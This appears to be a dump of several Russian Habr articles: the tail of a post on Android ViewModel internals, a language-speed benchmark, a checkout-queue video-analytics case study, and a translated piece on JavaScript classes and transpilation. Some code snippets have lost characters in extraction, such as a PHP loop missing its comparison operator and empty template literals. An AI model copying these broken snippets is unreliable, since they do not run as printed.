} else {
if (this.mViewModelStore == null) {
FragmentActivity.NonConfigurationInstances nc = (FragmentActivity.NonConfigurationInstances)this.getLastNonConfigurationInstance();
if (nc != null) {
this.mViewModelStore = nc.viewModelStore;
}
if (this.mViewModelStore == null) {
this.mViewModelStore = new ViewModelStore();
}
}
return this.mViewModelStore;
}
}
```
Здесь я немного упрощу — **NonConfigurationInstances** это объект с тем, что не должно зависеть от конфигурации (очевидно из названия), который лежит в Activity и проносится внутри ActivityClientRecord через ActivityThread во время пересоздания между onStop и onDestroy
Вообще выглядит это довольно забавно — вместо лайфхака с переносом ViewModel внутри retainфрагмента разработчики сделали хитрый ход — воспользовались ровно тем же механизмом, но избавились от необходимости каждый раз создавать лишний фрагмент.
В Activity всегда был интересный метод **onRetainNonConfigurationInstance**. В классе Activity он по сути ничего не делал. Вообще:
```
public Object onRetainNonConfigurationInstance() {
return null;
}
```
Описание в документации при этом многобещающее:
> Called by the system, as part of destroying an activity due to a configuration change, when it is known that a new instance will immediately be created for the new configuration. You can return any object you like here, including the activity instance itself, which can later be retrieved by calling getLastNonConfigurationInstance() in the new activity instance.
То есть что туда не сунь — вылезет в getLastNonConfigurationInstance() после пересоздания Activity. Этим разработчики архитектурных компонентов и воспользовались. Из минусов — не работает до 4 андроида, там придется по старинке через retain фрагмент.
Метод clear() у ViewModel вызывался крайне просто — в методе onDestroy FragmentActivity.
```
protected void onDestroy() {
super.onDestroy();
if (this.mViewModelStore != null && !this.isChangingConfigurations()) {
this.mViewModelStore.clear();
}
this.mFragments.dispatchDestroy();
}
```
На самом деле с Androidx почти все то же самое, разница лишь в том, что метод getViewModelStore() уже не во FragmentActivity, а в — ComponentActivity, от которого FragmentActivity наследуется в AndroidX. Изменился только вызов метода clear(), его вынесли из onDestroy в самостоятельный коллбэк, который создается в конструкторе ComponentActivity:
```
getLifecycle().addObserver(new GenericLifecycleObserver() {
@Override
public void onStateChanged(LifecycleOwner source, Lifecycle.Event event) {
if (event == Lifecycle.Event.ON_DESTROY) {
if (!isChangingConfigurations()) {
getViewModelStore().clear();
}
}
}
});
```
Для протокола — во время создания статьи использовались:
Support library 27.0.0, 28.0.0
androidx.lifecycle:lifecycle-viewmodel:2.0.0
androidx.lifecycle:lifecycle-extensions:2.0.0
android.arch.lifecycle:extensions:1.1.1
android.arch.lifecycle:viewmodel:1.1.1
### Выводы:
— ViewModel действительно выживала пересоздание activity в **retain** фрагменте до Support library 27.1.0 появившейся в феврале 2018
— C версии Support library 27.1.0 и дальше, а также в AndroidX ViewModel отправилась пережидать пересоздание Activity в **FragmentActivity.NonConfigurationInstances** (ComponentActivity.NonConfigurationInstances для AndroidX), по факту тем же механизмом, через который работают retain фрагменты, но создание лишнего фрагмента не требуется, все ViewModel отправляются «рядом» с retain фрагментами.
— Механизм работы ViewModel почти **не отличается** в AndroidX и Support library
— Если вам вдруг внезапно потребуется (да даже представить не могу зачем) протащить данные, которые должны жить пока живет Activity но при этом **учитывать** пересоздание — можно воспользоваться связкой onRetainNonConfigurationInstance()/getLastNonConfigurationInstance()
— Что старое решение, что новое выглядят чем-то между документированным хаком и костылями | https://habr.com/ru/post/439926/ | null | ru | null |
# «Дело было вечером, делать было нечего» или краткая история о сравнении производительности языков программирования
"Бенч" дело такое... После нескольких дней бездействия начинается ломка, хочется занять себя чем-нибудь. Иногда я отвлекался на pet-проекты, иногда на чтение литературы... Сейчас же я расскажу о том что случилось во время последнего "режима ожидания".
Меня многие годы волновала производительность ЯП (в основном интересовал **PHP**). Список ниже содержал некоторые мои убеждения, до недавнего времени:
* PHP один из самых медленных языков программирования
* Python быстрее PHP
* Ruby быстрее PHP
* C/C++ намного быстрее Python и PHP вместе взятых
* Assembler на порядок быстрее C/C++
Первым делом нужно было определиться какой тест взять за основу. А давайте попробуем написать программу нахождения [простых чисел](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%81%D1%82%D0%BE%D0%B5_%D1%87%D0%B8%D1%81%D0%BB%D0%BE) (я в курсе что есть много алгоритмов нахождения простых чисел, [неплохая статья](https://habr.com/ru/post/468833/) на данную тему).
За основу был взят следующий код (примитивный перебор, который даже не прекращается, если уже знает что число не простое):
```
php
$primeNumberCount = isset($argv[1]) ? $argv[1] : 100;
$number = 0;
while ($primeNumberCount 0) {
$number++;
$j = 0;
for ($i = 1; $i <= $number; $i++) {
if ($number % $i === 0) {
$j++;
}
}
if ($j === 2) {
$primeNumberCount--;
}
}
echo 'The latest prime number: ' . $number . PHP_EOL;
```
А дальше все как в тумане: Python, C/C++, Pascal, Go и тд. Все исходники можно глянуть [здесь](https://github.com/mamchyts/benchmark). Все тесты я делал в докере, чтобы не засорять комп.
Потом я наткнулся на [книги](http://stolyarov.info/books/programming_intro) **Андрея Викторовича Столярова**, и все завертелось с еще большей силой. **Assembler** я не трогал со времен универа, но после прочтения книги очень захотелось что-то написать. Могу сразу сказать, что тест для Assembler/NASM я писал больше недели, хотя на любой ЯП из тех что представлены в репозитории уходило не больше часа.
Вот в принципе и результат моей работы:
После того как начали появляться первые результаты, я удивлялся все сильнее и сильнее:
* оказывается PHP быстрее Python и Ruby
* PHP вообще один из самых быстрых интерпретируемых языков
* Python 3 медленнее Python 2
* разница в работе программы написанной на С/C++ и Assembler/NASM в районе 15%
* после Rust пришлось добавить тесты с флагом на компиляцию с оптимизацией
* очень удивил результат теста Node.js/Javascript (разработчики V8 - красавцы)
* и тд
На данный момент я планирую постепенно добавлять новые тесты (когда позволяет время и настроение).
Цель данной статьи стоит не в том, чтобы показать какой ЯП самый быстрый, а в том что мы можем ошибаться в своих убеждениях, и что не стоит верить всем байкам в курилке (многие из моих заблуждений именно оттуда, кто-то где-то слышал что X быстрее Y).
P.S.: [Исходники можно найти здесь](https://github.com/mamchyts/benchmark)
PPS. Добавил **Ruby 3**, что-то не сильно помогло...
PPPS. Изменил метод подсчета времени выполнения, увеличил порядковый номер простого числа (с 5000 на 7000).
PPPPS. Добавил **Haskell**.
PPPPPS. Добавил **Lua (LuaJIT)** и **Python 2/3 (PyPy)**. | https://habr.com/ru/post/563078/ | null | ru | null |
# Как мы отличали тележку от прораба — видеоаналитика для кассовой зоны гипермаркета (и продолжение про кота-терминатора)
В одном строительном гипермаркете есть 18 касс, и надо уметь делать так, чтобы кассиры открывали их вовремя, чтобы очередь не была больше 4 человек. Ну, и чтобы лишние кассы не простаивали открытыми. Это распознавание людей (подсчёт покупателей) с видео, аналитика по погоде и другим факторам и предсказание потока. Плюс много другой забавной статистики.
*Пример очереди перед кассой — картинка обрезанная и замыленная по просьбе безопасников, по факту очередь мы видим длиннее, чем на фото.*
В рознице первым вопросом стало то, **как отличить прораба от тележки.** И это было ничуть не смешно.
**Да, и тем, кто переживал за кота-терминатора из прошлого поста — его поймали.** Детали в конце.
До этого мы делали нечто подобное для касс пригородных электричек и самих электричек. В случае с кассами длина очереди отлично распознавалась, и кассиры стали работать куда оптимальнее. А вот на перронах дешевле оказалось фиксировать зайцев не камерами, а просто ставить вохру.
#### Кластеры покупателей
На входе у нас данные с камер, смотрящих вертикально вниз на кассы. Картинка с них распознаётся ПО Synesis CasRetail, и мы имеем уже не видеопоток, а данные о том, во сколько пришёл какой объект и во сколько он покинул зону действия.
*Наконец-то у нас появилась полная законченная история аналитики, которую можно рассказать.*
**Вот пример лога (расшифровывать не стал, и так вроде должно быть понятно):**
```
{
"camera" : "22f961d5-9cfc-4214-8870-65edb79fe373",
"start" : "2016-09-11T14:28:03+03:00",
"end" : "2016-09-11T14:29:00+03:00",
"rules" : [
// данные для линии
{
"counter" : 12,
"rule" : "36da29cf-7858-4bc6-9b11-55ff129aeaa7",
"extendedStatistics" : [ "2015-02-11T14:28:04+03:00", "2015-02-11T14:28:04+03:00", "2015-02-11T14:28:12+03:00"] // (optional)
},
// данные для зоны
{
"counter" : 0,
"histogram":[57.61533203125003,0.0, .., 0.0,0.0], // total 256 items
"lifetimeHistogram" : [],
"lifetimeHistogramStep" : 60,
"lostObjectsCounter" : 2,
"bornObjectsCounter" : 0,
"objectsAtEndInterval" : 12,
"rule" : "ea473652-2f7d-49fc-bce0-e6d93e472c17"
}
]
}
```
**Данные из касс по чекам мы брать не могли** — они напрямую соединены с Европой по VPN, и, увы и ах, нужно преодолеть сразу два законодательства по персональным данным. В общем, если мы не хотим ждать год (а мы не хотим), этих данных на практике нет.
ПО обрабатывает картинку 640х480 и, кстати, для задачи подсчета покупателей больше и не нужно. Система справляется легко…. Да-да, downsample почти в 3 раза и это увеличивает скорость обработки изображения. Тут не нужно много мегапикселей, так как человек может занимать в кадре всего 30-40 пикселей.
Проблема определения количества людей по логу никак не решалась, и вот почему:
* **Покупатель может прийти толпой (например, семьёй).** По факту будет 3-4 человека, но реально — один чек. А данные про чек в европейской стране, и если вы не хотите ждать год… ну, вы поняли.
* **Может прийти прораб, набрать стройматериалов в 3-4 тележки** и уйти. Система отфиксирует группу объектов, но покупатель будет опять же один.
* **Мать с коляской и тележкой** — это 3 непонятных объекта.
Мы пришли к тому, что прямо на кассе такая задача не решается быстро, без копания в низком уровне распознавания, никак. Промышленно, конечно, можно профилировать тележки и другие объекты, но мы вспомнили дядьку Дейкстру с его историей с железнодорожными вагонами и решили ещё понаблюдать.
**Через несколько дней наблюдений за повадками тележек выяснилось, что они льнут к людям.** И группа людей, сделавшая один чек, практически одновременно уходит из кассовой зоны. То есть задача сводилась к подсчёту кластеров объектов, выходящих за виртуальную линию кассы (на картинке — tripwire\_11) — а это решается крайне просто. Кстати, линия нужна для того, чтобы корректно понимать, когда человек ушел из кассы. ведь если он вышел из зоны, то он просто мог уйти из очереди назад в зал (например, психанул, не стал ждать).
То есть система в реальном времени выдаёт статистику «два объекта ≈ один покупатель» и из этого показывает длину очереди. А с задержкой 1 минуту валидирует себя и уточняет, сколько покупателей было по факту на основе того, как они повели себя за кассой.
Это было суперкруто. Мы решили почти все проблемы такой системой с ошибкой в 2-5% (зависит от количества тележек, уборщиц, охранников и прочих отклонений от статистического среднего).
#### Сюрпризы распознавания
Итак, мы:
* Знаем входящий поток людей за каждый день и знаем его в реальном времени.
* Знаем длину очереди на каждой кассе.
* Умеем делать в реальном времени уведомления о том, что надо открывать ещё кассу (где-то очередь длиннее 4-5 человек).
* Умеем закрывать кассы, если они пустые.
* Начинаем собирать данные для аналитики для предсказания расписания касс.
Сейчас системе уже полгода, и она работает с хорошим уровнем составления расписания, но тогда исторических данных у нас не было. Поэтому для начала мы посчитали за пару недель загрузку касс. Выводы получились парадоксальные:
* Да, есть моменты, когда нужно больше кассиров.
* Да, есть моменты, когда магазин несёт потери из-за простаивающих касс (сотни тысяч рублей в месяц).
* Самое весёлое — при пиках на кассах 10-18 кассы 1-3 могут быть не загружены.
**Про последнее скажу особо: оказывается, люди не умеют грамотно распределяться по кассам.** И вполне возможны ситуации, когда какие-то кассы простаивают, а какие-то загружены. Умелое распределение позволяет сильно сэкономить по факту, и магазин этому научился.
*Результаты анализа динамики максимальной и средней длин очереди по зонам обслуживания на одну из дат*
#### Ход проекта
Потом мы сделали для операционного управляющего дашборд, где видно данные по каждой кассе раз в полчаса со средней и максимальной загрузкой. Две штрафные функции — мало людей и много людей. Получается накопленная статистика: суммарный простой кассиров, перегрузы и так далее.
Минимальная смена кассира из аутстаффа (внешней компании, предоставляющей кассиров) — 4 часа. Чем раньше кассир будет заказан, тем дешевле. Поэтому дальше задача сводится, во-первых, к прогнозированию (нужно знать, сколько кассиров и когда надо, алгоритм, нужно сказать, не из простых — для тех, кто в теме — это блендинг из 6 моделей от классических ARIMA до RandomForest (любителям kaggle — и без xgBoost можно точно прогнозировать). А во-вторых, к оптимизации на основе прогнозных данных, а именно — к минимизации общей стоимости персонала при соблюдении необходимого уровня сервиса и кучи технических ограничений (например, аутстафф кассира нельзя выдернуть меньше чем на полдня).
**Через месяц мы решили эту задачу без учёта сезонных пиков:**
* Исторические данные по дням дают точную загрузку по часам.
* Есть профили для каждого дня недели.
* Есть спецпрофили для ситуаций «осадки», «праздник», «день перед выходными», «день перед 3 выходными» — это очень важные ситуации для аналитики. Дождь, например, даёт минус 18 процентов к покупателям, а день перед 3 выходными — плюс 14%.
* Есть данные о погоде.
* Есть корреляты с других проектов (известные графики коллег со всего мира) — там просто 3-4 замера за день, но они очень полезны иногда, когда данных нет (например, будут полезны на Новый год).
* Мы знаем конверсию, то есть с какой вероятностью зашедший в магазин станет покупателем. Это просто множитель к выходному потоку.
* Для людей, заходящих через кассы, мы тоже знаем примерные коэффициенты — их пришлось считать руками, но они вносят очень малую погрешность.
Всё это вместе просто компонуется как модификаторы (каждый профиль — это график, то есть матрица), и суперпозиция векторов в каждые полчаса даёт прогнозируемую нагрузку. А затем на это накладывается ограничение по длительности смены и допустимая погрешность — и составляется расписание.
Система может учиться, и сама себя верифицировать по схеме план-факт. Плюс можно прикрутить email-уведомления, собирать статистику.
#### Дальше
В целом система работает. Маркетологи счастливы. К ней сейчас присматривается и прошлый заказчик из истории с котом. Есть в том числе интерес у их европейских коллег для ряда объектов, считаем сейчас и для них.
А это результаты нашего теста или «шуточного» сервиса под названием «пробки в столовой». Тоже отлично работает уже пару лет. Для того, чтобы им воспользоваться, достаточно зайти в корпоративную соцсеть, где в реальном времени можно посмотреть текущую загруженность нашей офисной столовой, а также прогноз времени, необходимого для того, чтобы отстоять очередь в кассу и пообедать в зависимости от того, когда подойти. И что самое интересное – совсем недавно такую систему себе захотели внедрить два внешних заказчика. Один из них, например, как оказалось, уже 2 года безрезультатно бился с огромными очередями в столовой.
#### Про кота
Напомню, в прошлом посте про [распознавание лиц на входе на объект](https://habrahabr.ru/company/croc/blog/308300/) фигурировал кот, наносящий убытка магазину на 50-100 тысяч рублей в месяц. Этот неутомимый охотник отметился на видеонаблюдении тенью, прыгающей сверху на самые жирные мешки с кормом и вскрывающей их в поисках тёплых сочных внутренностей. А ещё на него списывали много дорогого алкоголя.
Кот уходил от погони 4 года. Даже когда за него (живого) давали награду 5 тысяч рублей, его не могли поймать в течение нескольких месяцев. Но после прошлого поста животное постиг хабраэффект: сотрудники организовались и выследили дикого зверя. Пойманный кот теперь живёт в ближайшей к магазину воинской части (в роли талисмана) и привыкает к людям. Вот его хитрая рожа:
#### Ещё проекты
* [Распознавание сотрудников на турникете](https://habrahabr.ru/company/croc/blog/308300/)
* [Распознавание номеров](https://habrahabr.ru/company/croc/blog/158719/) (2012 год)
* [Голосовые «отпечатки пальцев»](https://habrahabr.ru/company/croc/blog/184980/)
* [Распознавание голоса](https://habrahabr.ru/company/croc/blog/235565/) для параноиков
* [Турникеты](https://habrahabr.ru/company/croc/blog/151680/) с инфракрасными 3D-камерами для быстрого распознавания лиц
* Моя почта – Brahew@croc.ru. | https://habr.com/ru/post/314318/ | null | ru | null |
# Как работает JS: классы и наследование, транспиляция в Babel и TypeScript
В наши дни использование классов являются одним из самых популярных способов структурирования программных проектов. Этот подход к программированию применяется и в JavaScript. Сегодня мы публикуем перевод 15 части серии материалов, посвящённых экосистеме JS. В этой статье речь пойдёт о различных подходах к реализации классов в JavaScript, о механизмах наследования и о транспиляции. Начнём мы с рассказа о том, как работают прототипы и с анализа различных способов имитации наследования, основанного на классах, в популярных библиотеках. Далее мы поговорим о том, как, благодаря транспиляции, можно писать JS-программы, использующие возможности, которые либо отсутствуют в языке, либо, хотя и существуют в виде новых стандартов или предложений, находящихся на разных стадиях согласования, пока не реализованы в JS-движках. В частности, речь пойдёт о Babel и TypeScript и о классах ECMAScript 2015. После этого мы разберём несколько примеров, демонстрирующих особенности внутренней реализации классов в JS-движке V8.
[](https://habr.com/company/ruvds/blog/415377/)
**[Советуем почитать] Другие 19 частей цикла**Часть 1: [Обзор движка, механизмов времени выполнения, стека вызовов](https://habrahabr.ru/company/ruvds/blog/337042/)
Часть 2: [О внутреннем устройстве V8 и оптимизации кода](https://habrahabr.ru/company/ruvds/blog/337460/)
Часть 3: [Управление памятью, четыре вида утечек памяти и борьба с ними](https://habrahabr.ru/company/ruvds/blog/338150/)
Часть 4: [Цикл событий, асинхронность и пять способов улучшения кода с помощью async / await](https://habrahabr.ru/company/ruvds/blog/340508/)
Часть 5: [WebSocket и HTTP/2+SSE. Что выбрать?](https://habrahabr.ru/company/ruvds/blog/342346/)
Часть 6: [Особенности и сфера применения WebAssembly](https://habrahabr.ru/company/ruvds/blog/343568/)
Часть 7: [Веб-воркеры и пять сценариев их использования](https://habrahabr.ru/company/ruvds/blog/348424/)
Часть 8: [Сервис-воркеры](https://habrahabr.ru/company/ruvds/blog/349858/)
Часть 9: [Веб push-уведомления](https://habrahabr.ru/company/ruvds/blog/350486/)
Часть 10: [Отслеживание изменений в DOM с помощью MutationObserver](https://habrahabr.ru/company/ruvds/blog/351256/)
Часть 11: [Движки рендеринга веб-страниц и советы по оптимизации их производительности](https://habrahabr.ru/company/ruvds/blog/351802/)
Часть 12: [Сетевая подсистема браузеров, оптимизация её производительности и безопасности](https://habr.com/company/ruvds/blog/354070/)
Часть 12: [Сетевая подсистема браузеров, оптимизация её производительности и безопасности](https://habr.com/company/ruvds/blog/354070/)
Часть 13: [Анимация средствами CSS и JavaScript](https://habr.com/company/ruvds/blog/354438/)
Часть 14: [Как работает JS: абстрактные синтаксические деревья, парсинг и его оптимизация](https://habr.com/company/ruvds/blog/415269/)
Часть 15: [Как работает JS: классы и наследование, транспиляция в Babel и TypeScript](https://habr.com/company/ruvds/blog/415377/)
Часть 16: [Как работает JS: системы хранения данных](https://habr.com/company/ruvds/blog/415505/)
Часть 17: [Как работает JS: технология Shadow DOM и веб-компоненты](https://habr.com/company/ruvds/blog/415881/)
Часть 18: [Как работает JS: WebRTC и механизмы P2P-коммуникаций](https://habr.com/company/ruvds/blog/416821/)
Часть 19: [Как работает JS: пользовательские элементы](https://habr.com/company/ruvds/blog/419831/)
Обзор
-----
В JavaScript мы постоянно сталкиваемся с объектами, даже тогда, когда, казалось бы, работаем с примитивными типами данных. Создадим, например, строковый литерал:
```
const name = "SessionStack";
```
После этого мы сразу же можем, обращаясь к `name`, вызывать различные методы объекта типа `String`, к которому созданный нами строковой литерал будет автоматически преобразован.
```
console.log(name.repeat(2)); // SessionStackSessionStack
console.log(name.toLowerCase()); // sessionstack
```
В отличие от других языков, в JavaScript, создав переменную, содержащую, например, строку или число, мы можем, не проводя явного преобразования, работать с этой переменной так, как будто она изначально была создана с использованием ключевого слова `new` и соответствующего конструктора. Как результат, за счёт автоматического создания объектов, инкапсулирующих примитивные значения, с такими значениями можно работать так, как будто они являются объектами, в частности — обращаться к их методам и свойствам.
Ещё один достойный внимания факт, касающийся системы типов JavaScript, заключается в том, что, например, массивы — это тоже объекты. Если взглянуть на вывод команды `typeof`, вызванной для массива, можно увидеть, что она сообщает о том, что исследуемая сущность имеет тип данных `object`. В результате оказывается, что индексы элементов массива — это всего лишь свойства особого объекта. Поэтому, когда мы обращаемся к элементу массива по индексу, это сводится к работе со свойством объекта типа `Array` и к получению значения этого свойства. Если говорить о том, как данные хранятся внутри обычных объектов и массивов, то следующие две конструкции приводят к созданию практически идентичных структур данных:
```
let names = ["SessionStack"];
let names = {
"0": "SessionStack",
"length": 1
}
```
В результате доступ к элементам массива и к свойствам объекта выполняется с одинаковой скоростью. Автор этой статьи говорит, что выяснил это в ходе решения одной сложной задачи. А именно, однажды ему нужно было провести серьёзную оптимизацию весьма важного фрагмента кода в проекте. После того, как он перепробовал множество простых подходов, он решил заменить все объекты, используемые в этом коде, на массивы. В теории доступ к элементам массива быстрее, чем работа с ключами хэш-таблицы. К его удивлению на производительности эта замена никак не отразилась, так как и работа с массивами, и работа с объектами в JavaScript сводится к взаимодействию с ключами хэш-таблицы, что, и в том и в другом случае, требует одинаковых затрат времени.
Имитация классов с помощью прототипов
-------------------------------------
Когда мы размышляем об объектах, то первое, что приходит в голову — это классы. Пожалуй, каждый из тех, кто занимается сегодня программированием, создавал приложения, структура которых основана на классах и на взаимоотношениях между ними. Хотя объекты в JavaScript можно найти буквально повсюду, в языке не используется традиционная система наследования, основанная на классах. В JavaScript для решения схожих задач используются [прототипы](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model).
*Объект и его прототип*
В JavaScript каждый объект связан с ещё одним объектом — со своим прототипом. Когда вы пытаетесь обратиться к свойству или методу объекта, поиск того, что вам нужно, сначала выполняется в самом объекте. Если поиск не увенчался успехом, он продолжается в прототипе объекта.
Рассмотрим простой пример, в котором описана функция-конструктор для базового класса `Component`:
```
function Component(content) {
this.content = content;
}
Component.prototype.render = function() {
console.log(this.content);
}
```
Здесь мы назначаем функцию `render()` методом прототипа, так как нам надо, чтобы каждый экземпляр класса `Component` мог бы этим методом воспользоваться. Когда, в любом экземпляре `Component`, вызывают метод `render`, его поиск начинается в самом объекте, для которого он вызван. Затем поиск продолжается в прототипе, где система и находит этот метод.
*Прототип и два экземпляра класса Component*
Попытаемся теперь расширить класс `Component`. Создадим конструктор нового класса — `InputField`:
```
function InputField(value) {
this.content = ``;
}
```
Если нам надо, чтобы класс `InputField` расширял бы функционал класса `Component` и имел бы возможность вызывать его метод `render`, нам нужно изменить его прототип. Когда метод вызывается для экземпляра дочернего класса, искать его в пустом прототипе бессмысленно. Нам нужно, чтобы, в ходе поиска этого метода, он был бы обнаружен в классе `Component`. Поэтому нам нужно сделать следующее:
```
InputField.prototype = Object.create(new Component());
```
Теперь, при работе с экземпляром класса `InputField` и вызове метода класса `Component`, этот метод будет найден в прототипе класса `Component`. Для реализации системы наследования нужно подключить прототип `InputField` к экземпляру класса `Component`. Многие библиотеки для решения этой задачи используют метод [Object.setPrototypeOf()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf).
*Расширение возможностей класса Component с помощью класса InputField*
Однако, вышеописанных действий недостаточно для реализации механизма, подобного традиционному наследованию. Каждый раз, когда мы расширяем класс, нам нужно выполнить следующие действия:
* Сделать прототип класса-потомка экземпляром родительского класса.
* Вызвать, в конструкторе класса-потомка, конструктор родительского класса для обеспечения правильной инициализации родительского класса.
* Предусмотреть механизм вызова методов родительского класса в ситуациях, когда класс-потомок переопределяет родительский метод, но возникает необходимость в вызове исходной реализации этого метода из родительского класса.
Как видите, если JS-разработчик хочет пользоваться возможностями наследования, основанного на классах, ему постоянно придётся выполнять вышеописанные действия. В том случае, если нужно создавать множество классов, всё это можно оформить в виде функций, подходящих для многократного использования.
На самом деле, задача организации наследования, основанного на классах, изначально решалась в практике JS-разработки именно так. В частности, с помощью различных библиотек. Подобные решения стали весьма популярными, что недвусмысленно указывало на то, что в JavaScript чего-то явно не хватает. Именно поэтому в ECMAScript 2015 были представлены новые синтаксические конструкции, направленные на поддержку работы с классами и на реализацию соответствующих механизмов наследования.
Транспиляция классов
--------------------
После того, как были предложены новые возможности ECMAScript 2015 (ES6), сообщество JS-разработчиков захотело воспользоваться ими как можно скорее, не дожидаясь завершения длительного процесса добавления поддержки этих возможностей в JS-движки и браузеры. В решении подобных задач хорошо показывает себя транспиляция. В данном случае транспиляция сводится к трансформации JS-кода, написанного по правилам ES6, к виду, понятному браузерам, которые пока возможности ES6 не поддерживают. В результате, например, становится возможным объявление классов и реализация механизмов наследования, основанных на классах, по правилам ES6 и преобразование этих конструкций в код, работающий в любых браузерах. Схематично этот процесс, на примере обработки транспилятором стрелочной функции (ещё одной новой возможности языка, для обеспечения поддержки которой нужно время), можно представить так, как показано на рисунке ниже.
*Транспиляция*
Одним из наиболее популярных транспиляторов для JavaScript является Babel.js. Посмотрим как он работает, выполнив транспиляцию кода объявления класса `Component`, о котором мы говорили выше. Итак, вот ES6-код:
```
class Component {
constructor(content) {
this.content = content;
}
render() {
console.log(this.content)
}
}
const component = new Component('SessionStack');
component.render();
```
А вот во что превращается этот код после транспиляции:
```
var Component = function () {
function Component(content) {
_classCallCheck(this, Component);
this.content = content;
}
_createClass(Component, [{
key: 'render',
value: function render() {
console.log(this.content);
}
}]);
return Component;
}();
```
Как видите, на выходе транспилятора получился ECMAScript 5-код, который можно запустить в любом окружении. Кроме того, тут добавлены вызовы некоторых функций, являющихся частью стандартной библиотеки Babel.
Речь идёт о функциях `_classCallCheck()` и `_createClass()`, включённых в транспилированный код. Первая функция, `_classCallCheck()`, предназначена для того, чтобы функция-конструктор не вызывалась как обычная функция. Для этого тут выполняется проверка того, является ли контекст, в котором вызывается функция, контекстом экземпляра класса `Component`. В коде проверяется, указывает ли ключевое слово `this` на подобный экземпляр. Вторая функция, `_createClass()`, занимается созданием свойств объекта, которые передаются ей как массив объектов, содержащих ключи и их значения.
Для того чтобы разобраться с тем, как работает наследование, проанализируем класс `InputField`, являющийся наследником класса `Component`. Вот как взаимоотношения классов оформляются в ES6:
```
class InputField extends Component {
constructor(value) {
const content = ``;
super(content);
}
}
```
Вот — результат транспиляции этого кода с помощью Babel:
```
var InputField = function (_Component) {
_inherits(InputField, _Component);
function InputField(value) {
_classCallCheck(this, InputField);
var content = '';
return _possibleConstructorReturn(this, (InputField.__proto__ || Object.getPrototypeOf(InputField)).call(this, content));
}
return InputField;
}(Component);
```
В этом примере логика механизмов наследования инкапсулирована в вызове функции `_inherits()`. Она выполняет те же действия, которые мы описывали выше, связанные, в частности, с записью в прототип класса-потомка экземпляра родительского класса.
Для того чтобы транспилировать код, Babel выполняет несколько его трансформаций. Для начала осуществляется парсинг ES6-кода и его преобразование в промежуточное представление, называемое [абстрактным синтаксическим деревом](https://habr.com/company/ruvds/blog/415269/). Затем полученное абстрактное синтаксическое дерево преобразуется в другое дерево, каждый узел которого трансформируется в свой ES5-эквивалент. В итоге же это дерево преобразуется в JS-код.
Абстрактное синтаксическое дерево в Babel
-----------------------------------------
Абстрактное синтаксическое дерево содержит узлы, у каждого из которых есть лишь один родительский узел. В Babel имеется базовый тип для узлов. Он содержит информацию о том, чем является узел, и о том, где его можно обнаружить в коде. Существуют различные типы узлов, например, узлы для представления литералов, таких, как строки, числа, значения `null`, и так далее. Кроме того, есть узлы для представления выражений, используемых для управления потоком выполнения программ (конструкция `if`), и узлы для циклов (`for`, `while`). Есть тут и особый тип узла для представления классов. Он является потомком базового класса `Node`. Он расширяет этот класс, добавляя поля для хранения ссылок на базовый класс и на тело класса в виде отдельного узла.
Преобразуем следующий фрагмент кода в абстрактное синтаксическое дерево:
```
class Component {
constructor(content) {
this.content = content;
}
render() {
console.log(this.content)
}
}
```
Вот как будет выглядеть его схематичное представление.
*Абстрактное синтаксическое дерево*
После создания дерева каждый его узел трансформируется в соответствующий ему узел ES5, после чего это новое дерево преобразуется в код, соответствующий стандарту ECMAScript 5. В ходе процесса преобразования сначала находят узел, который расположен дальше всего от корневого узла, после чего данный узел преобразуется в код с использованием сниппетов, генерируемых для каждого узла. После этого процесс повторяется. Эта методика называется [поиском в глубину](https://en.wikipedia.org/wiki/Depth-first_search).
В вышеприведённом примере сначала будет сгенерирован код для двух узлов `MethodDefinition`, после чего будет создан код для узла `ClassBody`, и, наконец, код для узла `ClassDeclaration`.
Транспиляция в TypeScript
-------------------------
Ещё одной популярной системой, в которой используется транспиляция, является TypeScript. Это язык программирования, код на котором трансформируется в код на ECMAScript 5, понятный любому JS-движку. Он предлагает новый синтаксис для написания JS-приложений. Вот как реализовать класс `Component` на TypeScript:
```
class Component {
content: string;
constructor(content: string) {
this.content = content;
}
render() {
console.log(this.content)
}
}
```
Вот абстрактное синтаксическое дерево для этого кода.
*Абстрактное синтаксическое дерево*
TypeScript поддерживает наследование.
```
class InputField extends Component {
constructor(value: string) {
const content = ``;
super(content);
}
}
```
Вот что получится в результате транспиляции этого кода:
```
var InputField = /** @class */ (function (_super) {
__extends(InputField, _super);
function InputField(value) {
var _this = this;
var content = "";
_this = _super.call(this, content) || this;
return _this;
}
return InputField;
}(Component));
```
Как видите, перед нами опять ES5-код, в котором, помимо стандартных конструкций, имеются вызовы некоторых функций из библиотеки TypeScript. Возможности функции `__extends()` аналогичны тем, о которых мы говорили в самом начале этого материала.
Благодаря широкому распространению Babel и TypeScript, механизмы для объявления классов и организации наследования на основе классов превратились в стандартные средства структурирования JS-приложений. Это способствовало добавлению поддержки этих механизмов в браузеры.
Поддержка классов браузерами
----------------------------
[Поддержка классов](https://www.chromestatus.com/feature/4633745457938432) появилась в браузере Chrome в 2014 году. Это позволяет браузеру работать с объявлениями классов без применения транспиляции или каких-либо вспомогательных библиотек.
*Работа с классами в JS-консоли Chrome*
На самом деле, поддержка этих механизмов браузерами — не более чем «синтаксический сахар». Эти конструкции преобразуются в те же базовые структуры, которые уже поддерживаются языком. В результате, даже если пользоваться новым синтаксисом, на более низком уровне всё будет выглядеть как создание конструкторов и манипуляции с прототипами объектов:
*Поддержка классов — это «синтаксический сахар»*
Поддержка классов в V8
----------------------
Поговорим о том, как работает поддержка классов ES6 в JS-движке V8. В [предыдущем материале](https://habr.com/company/ruvds/blog/415269/), посвящённом абстрактным синтаксическим деревьям, мы говорили о том, что при подготовке JS-кода к выполнению система производит его синтаксический анализ и формирует на его основе абстрактное синтаксическое дерево. При разборе конструкций объявления классов в абстрактное синтаксическое дерево попадают узлы типа [ClassLiteral](https://github.com/v8/v8/blob/a86fa968136f0ec6237f51a0d535fbd932868d4d/src/ast/ast.h#L2421).
В подобных узлах хранится пара интересных вещей. Во-первых — это конструктор в виде отдельной функции, во-вторых — это список свойств класса. Это могут быть методы, геттеры, сеттеры, общедоступные или закрытые поля. Такой узел, кроме того, хранит ссылку на родительский класс, который расширяет класс, для которого сформирован узел, который, опять же, хранит конструктор, список свойств и ссылку на собственный родительский класс.
